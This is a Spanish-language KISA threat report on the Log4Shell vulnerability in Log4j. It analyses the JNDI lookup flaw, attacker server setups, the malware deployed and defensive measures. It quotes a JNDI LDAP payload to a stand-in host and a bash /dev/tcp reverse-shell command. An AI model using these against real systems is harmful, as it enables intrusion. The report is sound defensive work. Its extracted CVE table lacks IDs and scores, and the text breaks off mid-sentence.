Informe de análisis de amenazas de

vulnerabilidades de Log4j
v1.0
 azas de vulnerabilidades de Log4j
Informe de análisis de amen

Resumen.........................................................................01

Descripción general.........................................................02

Causa de vulnerabilidad..................................................05

Método y tipo de explotación de la vulnerabilidad..........13

Resumen de los principales problemas ...........................20

Medidas requeridas por los funcionarios de seguridad....24

Contribuciones de expertos.............................................26

Apéndice.........................................................................29
1. Sitio de distribución de escáner de vulnerabilidad Log4j
2. ¿Qué es JNDI (interfaz de nombres y directorios de Java)?
3. Sitios de referencia para responder a las vulnerabilidades
4. Software vulnerable relacionado con Log4Shell (CVE-2021-44228)
 Resumen

▶ Desde el anuncio de la vulnerabilidad de seguridad Log4j, la Agencia de Internet y Seguridad de Corea

ha estado haciendo esfuerzos para prevenir y responder a amenazas graves en una etapa temprana,
como avisos de seguridad de emergencia y orientación sobre contramedidas.

▶ Sin embargo, las vulnerabilidades de seguridad relacionadas con Log4j continúan descubriéndose hoy
en día y se espera que continúen. En consecuencia, preparamos un informe para sugerir la
necesidad y la dirección de una respuesta continua organizando la situación actual de Log4j
una vez más y esbozando los principales problemas.
Este documento comenzó con las dos siguientes preguntas:

1) ¿Existe un sistema de defensa que pueda evitar la penetración en sí y que elimine todas las
vulnerabilidades de antemano?
2) ¿Cuáles son las amenazas que aún existen después de la respuesta de emergencia a las
vulnerabilidades de Log4j?

En todo el ciclo de un ataque cibernético, las vulnerabilidades se utilizan en ciertas etapas que requieren
autorización. Tomar la autoridad a través de las vulnerabilidades no significa la finalización del ataque. La
respuesta a la pregunta radica en «implementar un sistema de protección de la información
donde los defensores puedan intervenir para evitar que se complete el ataque».

▶ La primera mitad de este informe detalla el análisis técnico de las vulnerabilidades de Log4j, y:
* ① El principio de expresión de vulnerabilidades y el plan de acción,
② la configuración de la red de ataque y los tipos de malware relacionados
la segunda mitad resume las cuestiones** que deben examinarse en este momento:
** ① La dificultad para identificar vulnerabilidades en código abierto,
② la dificultad para verificar la penetración interna,
③ La explotación de vulnerabilidades por parte de grupos de piratería
para sugerir*** la dirección en la que deben ir las actividades de respuesta de los oficiales
de seguridad.
*** ① Establecimiento de políticas de equipos de seguridad,
② fortalecimiento de la supervisión de los principales sistemas,
③ gestión exhaustiva de los registros del sistema

En particular, para analizar este tema de cerca desde la perspectiva de un defensor, identificamos el
principio de expresar vulnerabilidades y la técnica de explotación de los atacantes a través de pruebas
específicas.

▶ Finalmente, esperamos que este informe nos ayude a comprender el problema de la vulnerabilidad
Log4j con precisión una vez más y responder a los ataques en curso de manera efectiva en el futuro.
Informe de análisis de amenazas de vulnerabilidades de Log4j

Descripción general

24.11.2021
Primera vulnerabilidad encontrada en Alibaba
06.12.2021
Distribución de actualizaciones de seguridad CVE-2021-44228

09.12.2021
Revelado el PoC de ataque de Alibaba

10.12.2021
Se ha detectado un ataque a Minecraft
11.12.2021
Primera propagación de situaciones de emergencia a las
principales organizaciones/empresas
13.12.2021
Distribución de actualizaciones de seguridad CVE-2021-45046
15.12.2021
Segunda propagación de situaciones de emergencia a las principales organizaciones/empresas
16.12.2021 2021.12.16
Se detectó un ataque al Ministerio de Defensa belga. Reunión de CISO
18.12.2021
Distribución de actualizaciones de seguridad CVE-2021-45105
19.12.2021
Tercera propagación de situaciones de emergencia a las principales
organizaciones/empresas
28.12.2021
Distribución de actualizaciones de seguridad CVE-2021-44832
29.12.2021
Cuarta propagación de situaciones de emergencia a las principales
organizaciones/empresas

* Excluyendo vulnerabilidades log4j 1.x

<Cronología de las vulnerabilidades de Log4j>1)

Descubrimiento y explotación de vulnerabilidades

● El 21 de diciembre, Github lanzó una técnica de ataque de vulnerabilidad grave que aterrorizaría
al mundo. La técnica de ataque revelada en ese momento era explotar la vulnerabilidad de un
programa de código abierto llamado Log4j.

1) https://logging.apache.org/log4j/2.x/security.html
https://github.com/apache/logging-log4j2/tags
 Descripción general

● Log4j es un programa gratuito de código abierto de la Fundación Apache, ampliamente utilizado

en todo el mundo y disponible en todas las aplicaciones basadas en Java y también en entornos
Windows. Se ha encontrado una vulnerabilidad desconocida en este popular programa y el hecho
de que la técnica de ataque que explota dicha vulnerabilidad se ha revelado al mundo en muy
poco tiempo es la razón por la que este incidente de Log4j se está tratando como un problema tan
grave. Esta importante vulnerabilidad se calificó en 10 puntos de clase crítica en el sistema
común de clasificación de vulnerabilidades y hubo un problema para obtener la autoridad del
administrador del sistema si un pirata informático la explotaba.

Alibaba descubrió esta vulnerabilidad por primera vez. Fue el 24 de noviembre y lo notificó a la
Fundación Apache. La Fundación Apache lanzó su primera actualización de seguridad el 6 de
diciembre.

Varios ataques comenzaron después de que la técnica de ataque de vulnerabilidad se lanzara al

mundo y se sabe que el primer ataque se realizó en el juego en línea de Microsoft (Minecraft).
Desde entonces, varios ataques han seguido propagando DDoS y ransomware.

Respuesta de KISA
● Después de que se reveló la vulnerabilidad, KISA recomendó rápidamente actualizaciones de
seguridad a través de varios canales, incluido Botonara (Boho.or.kr), y dio una respuesta urgente
para evitar la propagación de daños en Corea enviando correos electrónicos de recomendación
actualizados a las principales organizaciones, empresas y compañías miembros. Además, KISA
proporcionó orientación adicional mediante la creación de preguntas frecuentes para que las
empresas puedan comprender las vulnerabilidades y tomar las medidas necesarias.

● Sin embargo, en el caso del problema de la vulnerabilidad a Log4j, el alcance del uso del
programa es muy amplio y no es fácil identificar si el programa se está utilizando en una
empresa, por lo que se espera que la normalización, a través de actualizaciones de seguridad,
lleve un tiempo considerable. Además, en el caso de los productos de terceras partes (productos
comprados) introducidos sin desarrollo directo, era tan importante vigilar de cerca y responder,
como esperar a que la empresa correspondiente proporcionara actualizaciones de seguridad.

● Con este fin, el Ministerio de Ciencia y TIC y la Agencia de Internet y Seguridad de Corea
celebraron una reunión adicional con los directores ejecutivos (CISO) de protección de la
información de emergencia para responder a las vulnerabilidades de seguridad de Log4j, y
discutieron contramedidas detalladas, incluidas estrategias de defensa y métodos de inspección
contra los ataques.
Informe de análisis de amenazas de vulnerabilidades de Log4j

Medidas de las empresas nacionales

● Las compañías nacionales de seguridad también desarrollaron rápidamente escáneres que
pueden verificar fácilmente el uso de programas Log4j vulnerables inmediatamente después del
problema y los distribuyeron de forma gratuita, que se sabe que son de mucha utilidad para
varias empresas. Algunos de los escáneres proporcionados por estas empresas se pueden
encontrar en el siguiente enlace.

- Escáneres de vulnerabilidades proporcionados por compañías de seguridad como East

Security, SK Shielders y Logpresso2)

2) p. 29 Apéndice 1. Sitio de distribución del escáner de vulnerabilidad de Log4j

 Causa de vulnerabilidad

Causa de vulnerabilidad

Log4j
● Log4j es un programa gratuito de código abierto de la Fundación Apache que proporciona
funciones de registro y que se puede utilizar en todas las aplicaciones basadas en Java. Por lo
tanto, se puede utilizar para iniciar sesión en varios servicios basados en Java, incluidos sitios web
generales, centros comerciales y software colaborativo.

Estado de uso de Log4j

● Log4j se utiliza a menudo para la creación de registros en varios sistemas web, incluidos Apache
Struts y Spring, y se sabe que alrededor de 5500 tipos de programas desarrollados por compañías
globales, como Adobe y VMWare, se han visto afectados. En Corea, Log4j se utiliza en sistemas
electrónicos del gobierno basados en el sistema Spring. Log4j también se utiliza en varios
servicios que operan en base a contenedores a través de Docker y Kubernetes.

Análisis de la vulnerabilidad Log4j

● En este documento, abordamos la vulnerabilidad Log4Shell (CVE-2021-44228), la primera y la
más influyente entre muchas vulnerabilidades recientes en Log4j.

● Descripción general de la vulnerabilidad

- La vulnerabilidad de Log4Shell se produce en JNDI3) utilizada para la configuración, los
mensajes de registro y los parámetros en Log4j. Un atacante puede aprovechar la función de
búsqueda para ejecutar cualquier código cargado en el servidor LDAP.

3) p.30 Apéndice 2. «¿Qué es JNDI (interfaz de nombres y directorios de Java)?» Nota

Informe de análisis de amenazas de vulnerabilidades de Log4j

· JNDI (interfaz de nombres y directorios de Java): Proporciona la capacidad para que las aplica-
ciones Java encuentren los recursos necesarios (como bases de datos) y otra información del
programa necesaria para la ejecución
· Búsqueda: Una función para utilizar los recursos encontrados a través de JNDI
CVE ID CVE-2021-44228
Clasificación Ejecución remota de código
Severidad Crítico
Puntuación CVSS 10.0
2.0-beta 9 ~ 2.14.1 o inferior
Versión afectada ※ Excluyendo las versiones (2.3.6, 2.12.2 y 2.12.3) donde se
corrigen las vulnerabilidades

Análisis detallado de vulnerabilidades

● En el código de ejemplo se explica el principio de expresión que ataca la vulnerabilidad.

● Log4j utiliza el método org.apache.logging.log4j.core.Logger.log para el registro y hace llama al

archivo de configuración a través de privateConfig.loggerConfig.getReliabilityStrategy().
 Causa de vulnerabilidad

● Después de marcar la opción noLookups, encuentra la cadena '${' en la variable workingBuilder y

llama al método config.getStrSubstitutor().replace() si esa cadena existe. El método
config.getStrSubstitutor().replace() llama al método StrSubstitutor.substitue() con el valor como
factor.
Informe de análisis de amenazas de vulnerabilidades de Log4j

● El método StrSubstitutor.substitue() transmite valores, excepto "$", "{", "}", de la cadena

${jndi:ldap://attacker1.kr/ Exploit} recibida como factor del StrSubstitutor. método
resolveVariable(). Este valor se ejecuta de nuevo con el método resolve.lookup().
 Causa de vulnerabilidad

● El método resolve.lookup() establece variables de prefijo y nombre dividiéndolas en función de

PREFIX_SEPARATOR y establece el método lookup() para que se ejecute con el prefijo.
Informe de análisis de amenazas de vulnerabilidades de Log4j

● Dado que JNDI se utiliza para ataques de vulnerabilidad, ejecuta el método JNDILookup.lookup ().

● El método JNDILookup.lookup() ejecuta de nuevo el método jndiManager.lookup(). La

vulnerabilidad se produce inmediatamente debido al método jndiManager.lookup().

● Intenta acceder directamente a través de la función lookup() sin un procedimiento de verificación

para el «ldap://attacker1.kr/Exploit» entregado como factor y busca en el contexto, solicitando
una entidad Exploit al servidor LDAP del atacante (attacker1.kr).
 Causa de vulnerabilidad

Plan de Acción contra la vulnerabilidad

● Las vulnerabilidades de Log4j o las versiones de Log4j se pueden identificar utilizando los
escáneres de vulnerabilidades Log4j y la función de búsqueda predeterminada en sistemas
operativos distribuidos por varias compañías de seguridad. A continuación, se explica cómo
comprobar la versión Log4j utilizando la función de búsqueda básica en el sistema operativo.

Comprobación de la versión log4j-core (Linux)

- dpkg –l | grep log4j
- find / -name ‘log4j*’

<Comprobación de la versión de Log4j-core en Linux>

Comprobación de la versión de instalación de log4j (Windows)

- Compruebe la versión utilizando la función de búsqueda (log4j search) del explorador de Windows

<Comprobación de la versión de Log4j-core en Windows>

Cuando utilice Java Spring Framework Maven, abra el archivo pom.xml en la ruta donde está
instalado log4j y búsquelo con "log4j-core"
- Verifique con el resultado de la búsqueda «<version>version in use</version>»

<información de la versión de log4j-core>

Informe de análisis de amenazas de vulnerabilidades de Log4j

● Si se identifica una versión vulnerable utilizando el método anterior, el Log4j se debe actualizar a
la última versión de acuerdo con la versión de JAVA, como se muestra a continuación.

La última versión de Logj4, a partir de enero de 2022

JAVA 8 o superior 2.17.1 o superior
JAVA 7 2.12.1 o superior
JAVA 6 2.3.2 o superior

● Si es difícil de actualizar, elimine la clase JndiLookup solo como medida temporal.

Ejemplo de comando para quitar la clase JndiLookup

* zip –q –d log4j-core-*.jar org/apache/logging/log4j/core/lookup/ JndiLookup.class
 Método y tipo de explotación de la vulnerabilidad

Método y tipo de explotación de la

vulnerabilidad

Componentes de la infraestructura del ataque

● Se requiere implementar algunas precauciones de antemano cuando los atacantes explotan las
vulnerabilidades de log4j. Se deben preparar de antemano un servidor de envío de consultas de
ataque, un servidor de recepción de consultas, un servidor para distribuir archivos de clase
maliciosa y un servidor de distribución de malware para lograr el propósito final. Estos recursos
de ataque a veces son utilizados por los atacantes comprando y construyendo un servidor directa-
mente o pirateando un servidor que da servicios normales.

Servidor de envío Servidor receptor Servidor de distribución Servidor de distribución

de consultas de consultas de archivos de clase de malware

- Servidor de envío de consultas: Es un servidor que envía consultas de ataque. Debido a que la
parte más utilizada de las vulnerabilidades log4j es la función de registro en servidores web
basados en Java, es posible enviar consultas a sistemas que pueden acceder a la web.

- Servidor receptor de consultas: Si el comando de ataque JNDI se realiza correctamente, la

consulta se enviará al servidor receptor de consultas creado por el atacante. LDAP y RMI son
servicios típicos de recepción de consultas que se aprovechan para detectar vulnerabilidades.
La mayoría de los atacantes crean servicios de consulta de ataque pirateando los servidores
que dan servicios normales para evitar su rastreo. En este momento, el patrón de ataque que
actuará en el futuro varía dependiendo de la configuración del programa de servicio.

- Servidor de distribución de archivos de clase: El sistema víctima recibe comandos del servidor
receptor de consultas y descarga archivos de clase maliciosa. Por lo general, las descargas se
realizan a través de un protocolo web.
Informe de análisis de amenazas de vulnerabilidades de Log4j

- Servidor de distribución de malware: Se descarga malware adicional de acuerdo con los

comandos definidos en el archivo de clase. En este momento, también se requiere un servidor
de distribución de malware que pueda distribuir el malware final.

Configuración de red de ataque

● La configuración de la consulta de ataque y de la red de ataque varía en función de cómo esté
configurado el servidor receptor de consultas. A continuación, se muestra el resultado del análisis
del programa de recepción de consultas del ataque publicado. Hay un total de tres formas de
configurar el servidor.

- Tipo de consulta de ataque corregida

- Tipo de consulta de ataque codificada con Base64

- Tipo de consulta de ataque generada aleatoriamente

 Método y tipo de explotación de la vulnerabilidad

● Descripción general detallada - Diagrama 1 (Tipo de consulta de ataque corregido)

① Useragent: jndi:ldap://
[Servidor receptor de consultas IP]/exploit

Servidor de envío
de consultas Primer servidor de distribución
de malware

② ldap://[Servidor receptor de
consultas IP]/exploit PORT 1389

Servidor receptor
de consultas
Segundo servidor de distribución
de malware

Servidor de distribución de
archivos de clase
Tercer servidor de distribución
de malware

① En el servidor de envío de consultas, el atacante dirige la consulta de ataque en un paquete web

y la envía al servidor víctima.

② El log4j vulnerable del servidor víctima extrae la parte de la consulta de ataque contenida en el
paquete web enviado por el atacante y la envía de vuelta al servidor receptor de consultas del
atacante.

③ El servidor receptor de consultas transmite un comando al servidor víctima para descargar el

archivo malicioso.

④ El servidor víctima descarga archivos maliciosos del servidor de distribución de archivos

maliciosos y ejecuta los comandos definidos en el archivo de clase.

⑤ Como resultado del comando, el malware de destino final se descarga del sitio de distribución
de malware.
Informe de análisis de amenazas de vulnerabilidades de Log4j

● Descripción detallada -Diagrama 2 (Tipo de consulta de ataque codificada con Base64)

Servidor receptor de consultas IP

Servidor de envío Servidor dañado

de consultas
Servidor receptor de consultas IP

Servidor receptor Servidor de distribución

de consultas
de malware

Servidor receptor de consultas

① En el servidor de envío de consultas, el atacante coloca el comando codificado4) en un paquete

web y lo envía al servidor víctima.

② El log4j vulnerable del servidor víctima extrae la parte de la consulta de ataque contenida en el
paquete web enviado por el atacante y la envía de vuelta al servidor receptor de consultas del
atacante.

③ El servidor receptor de consultas transmite un comando al servidor víctima para descargar el

archivo malicioso.

④ El servidor víctima accede al puerto web en el servidor receptor de consultas, descarga y ejecuta
un archivo de clase malicioso con un nombre de archivo que es una combinación de «Exploit» y
10 caracteres aleatorios para llevar a cabo los comandos.

⑤ Como resultado del comando, el malware final se descarga del sitio de distribución de malware.

4) Comando encriptado: Encriptación como Base64 agregando comandos para ejecutar después de la cadena
«/basic/command/Base64/».
 Método y tipo de explotación de la vulnerabilidad

● Descripción detallada - Diagrama 3 (Tipo de consulta de ataque generada aleatoriamente)

[Servidor receptor de consultas IP]

Servidor receptor de Servidor de envío Servidor dañado

consultas de consultas

[Servidor receptor de consultas IP]

[Servidor receptor de consultas]

Servidor de distribución
de malware

① Al configurar el servidor receptor de consultas, el atacante especifica previamente los comandos

de ataque.
② A través de la designación de comandos, el nombre que se utilizará en la consulta se genera con
6 caracteres aleatorios.
③ El atacante coloca, en el servidor de envío de consultas, la consulta de ataque en un paquete
web y la envía al servidor víctima.
④ El log4j vulnerable del servidor víctima extrae la parte de la consulta de ataque contenida en el
paquete web enviado por el atacante y la envía de vuelta al servidor receptor de consultas del
atacante.
⑤ El servidor receptor de consultas transmite un comando al servidor víctima para descargar un
archivo malicioso.
⑥ El servidor víctima accede al puerto web en el servidor receptor de consultas, descarga y ejecuta
un archivo de clase malicioso con un nombre de archivo que es una combinación de
«ExecTemplateJDK» e información de la versión JDK para llevar a cabo los comandos.
⑦ Como resultado del comando, el malware final se descarga del sitio de distribución de malware.
Informe de análisis de amenazas de vulnerabilidades de Log4j

Tipo de malware final

● Botnet y Criptomineros

- (Mirai) Algunas funciones* se han eliminado del código fuente publicado y la función de
ataque DDoS se ha cambiado para que la función de ejecución de comandos la llame directa-
mente y la use para ataques.5)
* Función de gestión de configuración, función de inicialización de ataques, etc.

- (Muhstik) La botnet Muhstik que distribuye puertas traseras, expande botnets e instala
criptomineros está configurada para descargar y ejecutar malware (formato ELF) que puede
ejecutarse en varias arquitecturas. Finalmente, la botnet Muhstik y el criptominero se insta-
lan en el dispositivo infectado para realizar actividades maliciosas.

- (XMRIG) El código fuente se descarga desde el almacenamiento menor XMRIG ubicado en

GitHub y se ejecuta el criptominero.

- (Kinsing) El servidor víctima accede al servidor atacante, descarga y ejecuta el Shell-script, o

guion de órdenes, y, finalmente, ejecuta el malware Kinsing que realiza funciones de puerta
trasera y de criptominería.6)

<Script de instalación de botnet Kinsing>

5) Alerta de amenaza: La vulnerabilidad de Log4j ha sido adoptada por dos botnets de Linux (https://blog.netlab.360.com/
threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets)
6) Los piratas comienzan a enviar malware en ataques Log4Shell en todo el mundo (https://bleepingcomputer.com/news/
security/hackers-start-pushing-malware-in-worldwide-log4shell-attacks, '21.12.12)
 Método y tipo de explotación de la vulnerabilidad

● Ransomware

- (Khonsari) Un ransomware .NET que cifra todas las unidades excepto la unidad C con
algoritmo AES. Sin embargo, también existe la opinión de que es un Wiper, un eliminador, en
lugar de un ransomware, porque la información de contacto para la recuperación no se
especifica como la dirección del atacante real.7)
- (NightSky) NightSky, conocido como la bifurcación del ransomware Rook, fue desarrollado
por el grupo de ataque DEV-0401 y explota la vulnerabilidad CVE-2021-44228 para atacar las
soluciones de VMware Horizon.8)

<NightSky Ransomware Ransom Note> <NightSky Ransomware Infected Screen>

● Malware de control remoto (RAT, troyano de acceso remoto)

- (Orcus) Se distribuyó dos días después desde el mismo servidor que el ransomware Khonsari,
e intenta realizar un control remoto después de conectarse al servidor C2.

● Shell inverso

- Normalmente, se codifica como base64 y ejecuta los comandos que se describen más abajo.
Como resultado, puede conducir a comportamientos maliciosos extensos, como la fuga de
información al exterior y la infección interna por ransomware.
* Comando: /bin/bash –i > /dev/tcp/{server address}/{server port} 0<&1 2>&1

7) Asesoría Técnica: Vulnerabilidad crítica de día cero en Log4j2 explotada en la naturaleza

(https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild)
Nuevo ransomware que ahora se está implementando en ataques Log4Shell
(https://bleepingcomputer.com/news/security/new-ransomware-now-being-deployed-in-log4shell-attacks, '21.12.14)
8) Guía para prevenir, detectar y buscar la explotación de la vulnerabilidad Log4j 2 (https://microsoft.com/security/blog/
2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-20 21-44228-log4j-2-exploitation#NightSky,
'21.12.11)
Informe de análisis de amenazas de vulnerabilidades de Log4j

Resumen de los principales problemas

Problema 1) La actualización de seguridad aún está en curso

● Por lo general, cuando se encuentra una vulnerabilidad, en el día cero, se publica el parche de
seguridad relevante y las empresas responden a la vulnerabilidad a través de esa actualización.
Sin embargo, si se encuentran vulnerabilidades adicionales en el proceso de desarrollo de parch-
es de seguridad, puede surgir otro problema.

● En el caso de Log4j, se han encontrado siete vulnerabilidades adicionales desde que se encontró
la primera (CVE-2021-44228). Como se pueden encontrar más vulnerabilidades posteriormente,
es importante reflejar la última actualización a través de la supervisión continua.

Fecha de
Puntuación
Número CVE Descripción de la vulnerabilidad lanzamiento
CVSS
del parche
Vulnerabilidad en la ejecución remota 06-12-2021
de código
Vulnerabilidad en la ejecución remota
13-12-2021
de código
Vulnerabilidad en la ejecución remota
Fin del soporte
de código en 1.x
Vulnerabilidad de la denegación de
18-12-2021
servicio
Vulnerabilidad en la ejecución remota
28-12-2021
de código
Vulnerabilidad en la ejecución remota
Fin del soporte
de código en 1.x
Vulnerabilidad de la inyección
Fin del soporte
SQL en 1.x
Vulnerabilidad en la ejecución remota
Fin del soporte
de código en 1.x
 Resumen de los principales problemas

● El problema log4j es un ejemplo representativo con el que podemos experimentar intensamente

que las actualizaciones de seguridad son solo una medida contra una vulnerabilidad específica y
no implican la integridad del programa.

● KISA continúa actualizando los avisos de seguridad contra las vulnerabilidades de Log4j. La
persona a cargo de la seguridad debe continuar consultando el estado actual de los avisos de
seguridad de KISA y tomar medidas inmediatas cuando se anuncie nueva información.

Problema 2) Dificultad para identificar vulnerabilidades de código

abierto
● Log4j es un programa representativo de código abierto que se incluye y se utiliza en varios
productos en forma de paquete. Por lo general, cuando se encuentra una vulnerabilidad, si se
trata de una vulnerabilidad en un producto específico, se puede aplicar un parche para ese
producto, pero si se encuentra una vulnerabilidad en un programa contenido en varios productos
en forma de paquete, como Log4j, no es fácil saber detalladamente si el programa se está
utilizando o no.

● Cuando se produjo este problema de vulnerabilidad de Log4j, lo más difícil para las empresas fue
identificar si había productos de terceras partes utilizando el programa Log4j dentro de sus
empresas.

● Aunque se hayan publicado recomendaciones de actualización de seguridad para un programa

específico, es una amenaza muy seria para la cual se necesita mucho tiempo para lograr identifi-
car la existencia del propio programa. En esta amenaza, cada uno de nosotros tiene que revisar
cómo podemos mantener la seguridad.

Problema 3) Dificultad para comprobar la penetración interna

● Cuando se produce una vulnerabilidad en el día cero, las empresas que completaron el parche
deben continuar con una inspección adicional para verificar si el atacante ha conseguido penetrar
en la red interna. Dependiendo de la situación, este método de inspección puede ser una tarea
muy difícil. Cuando hay registros o archivos específicos que pueden determinar el éxito de un
ataque de vulnerabilidad, puede juzgar la situación con las evidencias relevantes, pero si no hay
una evidencia clara, es necesario comprobar la información de la red y realizar un análisis preciso
del host para determinar la situación con claridad.
Informe de análisis de amenazas de vulnerabilidades de Log4j

● En el caso de las vulnerabilidades log4j, hasta ahora no se ha revelado IoC para el análisis del host.
Esto se debe a que log4j es un programa utilizado en varios servicios, por lo que, incluso si un
ataque de vulnerabilidad tiene éxito, los rastros que quedan no están estandarizados y varían de
un servicio a otro. Incluso el archivo de clase utilizado para los comandos de ataque no deja un
rastro claro en el sistema de la víctima.

● Por lo tanto, después de actualizar contra la vulnerabilidad de log4j, las empresas tienen que
llevar a cabo una inspección detallada de las anomalías generales, centrándose en el sistema
crítico interno de la empresa. Es necesario inspeccionar desde varios puntos de vista, por ejemplo,
si hay una comunicación externa inusual o si hay algún proceso anormal.

● KISA está colaborando con varias organizaciones nacionales y extranjeras para asegurar y
bloquear rápidamente la distribución y los sitios de control de los ataques que explotan esta
vulnerabilidad. Además, KISA está inspeccionando de cerca si la vulnerabilidad fue explotada en
el proceso de soporte técnico para accidentes de violación reportados.

Problema 4) Los grupos de ataque APT inician ataques de explotación de

vulnerabilidades
● Cuando encuentran una vulnerabilidad con alto impacto, los grupos de ataque APT añaden rápid-
amente la capacidad de atacar esa vulnerabilidad a sus herramientas de ataque. En el caso de la
vulnerabilidad de Windows, que fue explotada para los ataques de ransomware WannaCry en el
pasado, todavía está siendo utilizada por los grupos de ataque APT. Debemos recordar que, en
cualquier momento futuro, si hay un punto ciego en la red interna donde no se atiende la vulner-
abilidad, puede volver a ser una gran amenaza.

● Microsoft dijo que los grupos de piratería están agregando explosiones log4j a sus kits de
ataque.9) Los grupos piratas encontrados por Microsoft que han llevado a cabo los ataques de
vulnerabilidad Log4j incluyen Hafnium, Aquatic Panda y Phosphorus.

9) http://m.boannews.com/html/detail.html?idx=103917&page=1&kind=1#
 Resumen de los principales problemas

● En diciembre del año pasado, Aquatic Panda espió los servicios de VMware Horizon que tienen la
vulnerabilidad Log4j utilizada por grandes instituciones educativas y ejecutó comandos de
descarga de archivos. Posteriormente, identificó el entorno interno del sistema de destino y
configuró un shell inverso en la memoria. Además, recopiló credenciales existentes en la memo-
ria y las comprimió en winRAR para sustraer la información.10)

- Aquatic Panda: Es un grupo de piratería con sede en China que trabaja con el propósito de
recopilar información y filtrar secretos industriales y se cree que están en activo desde mayo
de 2020.

● Phosphorus aprovecha la vulnerabilidad Log4j para ejecutar scripts de PowerShell. Ese script
descarga malware del servidor de Amazon construido por el atacante, lo ejecuta y se comunica
con el servidor C&C.11)

- Phosphorus: Phosphorus, conocido como un grupo de piratería patrocinado por Irán, apunta
a organizaciones como la Organización Mundial de la Salud, incluyendo los gobiernos de
Estados Unidos y Medio Oriente, académicos y periodistas. El grupo de piratería Phosphorus
está trabajando para robar secretos industriales e interferir en el funcionamiento normal de
las instalaciones operativas.

10) OverWatch expone a AQUATIC PANDA en posesión de las herramientas de explotación de Log4Shell durante el intento de
intrusión práctica (https://crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-
exploit-tools, '21.12.29)
11) APT35 explota la vulnerabilidad Log4j para distribuir el nuevo kit de herramientas modular de PowerShell
(https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit,
'22.1.11) Magic Hound (https://attack.mitre.org/groups/G0059)
Informe de análisis de amenazas de vulnerabilidades de Log4j

Medidas requeridas por los funcionarios

de seguridad

Establecimiento de políticas de equipos de seguridad

● La persona a cargo de la seguridad tiene que actualizar las reglas de detección de dispositivos de
seguridad periódicamente, como WAF e IPS, para detectar y bloquear los ataques de vulnerabili-
dad Log4j. Además, el cortafuejos necesita bloquear las IP conocidas por intentar ataques de
vulnerabilidad de Log4j.
● También se deben comprobar las directivas salientes del cortafuegos de los servidores. Los
comandos de ataque se realizan mediante la descarga de archivos de clase y malware adicional y,
para este propósito, el servidor víctima accede a la dirección del servidor externo. Por lo tanto, es
muy importante verificar y monitorear las conexiones salientes de los servidores internos críticos.

Fortalecimiento de la supervisión de los principales sistemas, incluido el

sistema de control central
● En el caso de un ataque que explote una vulnerabilidad Log4j, se sabe que no hay un rastro claro
del ataque cuando se expresa la vulnerabilidad real y el ataque tiene éxito. De esta manera, si la
detección es difícil en la etapa inicial de expresión de la vulnerabilidad, es muy importante que
los defensores intervengan en la etapa de acción del ataque adicional de los atacantes (movi-
miento interno, etc.) y neutralicen el ataque.
● Los atacantes a menudo explotan un punto que tiene muchos contactos con hosts internos, como
el sistema de control central como base. Por lo tanto, la inspección selectiva y el control intensivo
de los recursos clave que los atacantes pueden tomar como base para propagar el daño interno
son contramedidas muy útiles.

Gestión exhaustiva de los registros del sistema

● Para fortalecer el seguimiento de los sistemas clave, es muy importante registrar a fondo los
datos disponibles desde la perspectiva de la seguridad para cada sistema y administrarlos para
evitar que sean eliminados por los atacantes. Esto se debe a que es común que los atacantes
eliminen los registros del sistema víctima para no dejar rastros de penetración.
 Medidas requeridas por los funcionarios de seguridad

● Además, en caso de daños reales, los registros pueden ser muy útiles para verificar la causa exacta
del accidente y el alcance del daño.
※ Referencia para la configuración del registro: Bohonara (boho.or.kr) > Data Room > Guide &
Manual > At-a-Glance Log Setting Note (3 type)

Mejoras en el sistema de gestión de software

● Se limita a averiguar si una biblioteca con vulnerabilidades está incluida en el software utilizado
o en los servicios prestados en una empresa.
- Commercial SW, que consta de miles de bibliotecas, generalmente utiliza código abierto y
programas comerciales de terceros, además de códigos de desarrollo propio.
- Además, no es fácil de identificar, porque, a menudo, solo se toma una parte de los códigos
abiertos para desarrollar software.
- El Protocolo de Medios de TI de Estados Unidos dijo: «Hay tantos proyectos de código abierto
utilizados para programar software de importancia mundial, que es un gran desafío solo
identificar qué software necesita soporte».

● Por esta razón, es difícil identificar vulnerabilidades en áreas no desarrolladas por uno mismo,
como secciones de código abierto o programas de terceros, lo que lleva a problemas en los que las
medidas de seguridad no se implementan correctamente.

● Además del problema de identificación de vulnerabilidades de código abierto experimentado en

este asunto de Log4j, se pueden encontrar continuamente vulnerabilidades en varios programas
utilizados por desarrolladores o administradores de sistemas en la red interna. Parece necesario
tomar medidas para verificar el estado actual del sistema de gestión de software y elaborar
planes de mejora.

● Como referencia, en el extranjero, la Lista de materiales de software (SBOM) se prepara y admin-

istra cada vez que se lanza o se distribuye software para identificar rápidamente sus vulnerabili-
dades.
- SBOM (Estructura de producto de software): Los desarrolladores generan la estructura de
producto de software al mismo tiempo que desarrollan y distribuyen el programa. El software
principal utiliza una programación específica que utiliza la SBOM del software secundario
para administrar la biblioteca de configuración del programa de manera integral.

● Además, Estados Unidos hizo obligatorio que los proveedores de software presenten la SBOM
para el software suministrado al gobierno federal a través de decretos en mayo de 2021.
Informe de análisis de amenazas de vulnerabilidades de Log4j

Contribuciones de expertos

La importancia de establecer un sistema de inspección desde la

perspectiva de la EC (Evaluación de Compromiso)

Jin-guk Kim, CEO de Plainbeat

La publicación de la vulnerabilidad Log4j planteó las siguientes dos preguntas en la

organización.

▶ En primer lugar, ¿nuestra organización está expuesta a la vulnerabilidad Log4j?

Puede ser una pregunta simple, pero muy difícil de responder. Incluso si es relativamente
fácil responder si está incluida en el programa de desarrollo propio, no es fácil responder si
los módulos externos importados y utilizados y la solución introducida en forma de producto
terminado son seguros. Debido a esto, es difícil decir que la vulnerabilidad Log4j se ha
resuelto por completo en nuestra organización. Además, es difícil garantizar que las
versiones vulnerables no se utilizarán en el futuro.

Las últimas vulnerabilidades del día cero o día 1 también son una amenaza, pero, incluso en
organizaciones con un buen control de seguridad, las vulnerabilidades que tienen dos o tres
años de antigüedad a menudo son explotadas por alguien que se salta el control, lo que da
como resultado accidentes de violación. Por lo tanto, las vulnerabilidades de Log4j también
deberían estar sujetas a un monitoreo continuo en el futuro.

A continuación, es una suerte que nuestra organización no esté utilizando Log4j vulnerable,
pero si lo estuviéramos usando, habríamos procedido con el parche rápidamente. Debido a
que esta vulnerabilidad ha sido objeto de atención global, es relativamente afortunado si la
